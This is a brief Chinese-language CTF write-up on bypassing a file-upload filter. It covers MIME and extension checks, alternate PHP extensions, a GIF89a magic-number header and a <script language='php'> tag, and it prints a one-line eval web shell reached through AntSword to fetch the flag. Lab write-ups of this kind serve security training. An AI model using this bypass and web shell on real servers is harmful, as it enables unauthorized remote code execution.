相关过程:
接下来的思路就是先修改MIME类型和文件后缀,看看它在这方面有没有设置检测点
目前看来服务器存在MIME类型检测也存在文件后缀检测,接下来就是去试一试是文件后缀白名单还是文件后缀黑名单检测
其实根据以上内容可以判断出,目标服务器上采用的是文件后缀黑名单检测加上上传的文件内容中不可以存在<?
那么接下来就可以使用<script>标签中的language属性来绕过文件内容检测并对服务器中写入php代码。至于如何去执行php代码,可以试试一些可以被解析成php后缀的后缀名。例如php3、phtm、phtml等。
编写完poc以后,发现服务器端又提示了如上内容,说明可能存在文件内容检测中的文件幻数检测,接下来的思路就是构造文件幻数,这里采用gif图片的文件幻数:GIF89a
加入文件头幻数后,成功上传木马,但这里没有告诉我们上传文件存放的路径。此时一般是猜测存放在/upload、/uploads、当前目录的上一级目录下的upload或uploads中。
接下来就是通过蚁剑连接然后去根目录下拿到flag
相关知识点:
- language属性的作用是定义标签中所使用代码的语言类型
- 通过<script>中的language属性写入一句话木马的方式为:
- <script language=’php’>eval($_REQUEST[“cmd”])</script>